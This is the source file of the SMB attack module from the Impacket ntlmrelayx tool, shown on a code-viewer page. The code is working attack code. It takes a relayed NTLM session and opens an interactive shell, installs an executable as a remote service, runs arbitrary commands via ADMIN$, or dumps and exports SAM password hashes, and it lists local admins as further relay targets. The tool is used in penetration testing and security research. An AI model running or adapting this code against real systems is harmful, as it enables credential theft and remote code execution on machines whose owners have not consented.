Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# SMB Attack Class 

11# Defines a base class for all attacks + loads all available modules 

12# 

13# Authors: 

14# Alberto Solino (@agsolino) 

15# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 

16# 

17from impacket import LOG 

18from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 

19from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell 

20from impacket import smb3, smb 

21from impacket.examples import serviceinstall 

22from impacket.smbconnection import SMBConnection 

23from impacket.examples.smbclient import MiniImpacketShell 

24from impacket.dcerpc.v5.rpcrt import DCERPCException 

25 

26PROTOCOL_ATTACK_CLASS = "SMBAttack" 

27 

28class SMBAttack(ProtocolAttack): 

29 """ 

30 This is the SMB default attack class. 

31 It will either dump the hashes from the remote target, or open an interactive 

32 shell if the -i option is specified. 

33 """ 

34 PLUGIN_NAMES = ["SMB"] 

35 def __init__(self, config, SMBClient, username): 

36 ProtocolAttack.__init__(self, config, SMBClient, username) 

37 if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): 

38 self.__SMBConnection = SMBConnection(existingConnection=SMBClient) 

39 else: 

40 self.__SMBConnection = SMBClient 

41 self.__answerTMP = bytearray() 

42 if self.config.interactive: 

43 #Launch locally listening interactive shell 

44 self.tcpshell = TcpShell() 

45 else: 

46 self.tcpshell = None 

47 if self.config.exeFile is not None: 

48 self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) 

49 

50 def __answer(self, data): 

51 self.__answerTMP += data 

52 

53 def run(self): 

54 # Here PUT YOUR CODE! 

55 if self.tcpshell is not None: 

56 LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) 

57 #Start listening and launch interactive shell 

58 self.tcpshell.listen() 

59 self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell) 

60 self.shell.cmdloop() 

61 return 

62 if self.config.exeFile is not None: 

63 result = self.installService.install() 

64 if result is True: 

65 LOG.info("Service Installed.. CONNECT!") 

66 self.installService.uninstall() 

67 else: 

68 from impacket.examples.secretsdump import RemoteOperations, SAMHashes 

69 from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins 

70 samHashes = None 

71 try: 

72 # We have to add some flags just in case the original client did not 

73 # Why? needed for avoiding INVALID_PARAMETER 

74 if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: 

75 flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() 

76 flags2 |= smb.SMB.FLAGS2_LONG_NAMES 

77 self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) 

78 

79 remoteOps = RemoteOperations(self.__SMBConnection, False) 

80 remoteOps.enableRegistry() 

81 except Exception as e: 

82 if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges 

83 if self.config.enumLocalAdmins: 

84 LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) 

85 enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) 

86 try: 

87 localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() 

88 LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) 

89 for name in localAdminNames: 

90 LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) 

91 except DCERPCException: 

92 LOG.info("SAMR access denied") 

93 return 

94 # Something else went wrong. aborting 

95 LOG.error(str(e)) 

96 return 

97 

98 try: 

99 if self.config.command is not None: 

100 remoteOps._RemoteOperations__executeRemote(self.config.command) 

101 LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) 

102 self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 

103 self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') 

104 print(self.__answerTMP.decode(self.config.encoding, 'replace')) 

105 else: 

106 bootKey = remoteOps.getBootKey() 

107 remoteOps._RemoteOperations__serviceDeleted = True 

108 samFileName = remoteOps.saveSAM() 

109 samHashes = SAMHashes(samFileName, bootKey, isRemote = True) 

110 samHashes.dump() 

111 samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') 

112 LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) 

113 except Exception as e: 

114 LOG.error(str(e)) 

115 finally: 

116 if samHashes is not None: 

117 samHashes.finish() 

118 if remoteOps is not None: 

119 remoteOps.finish()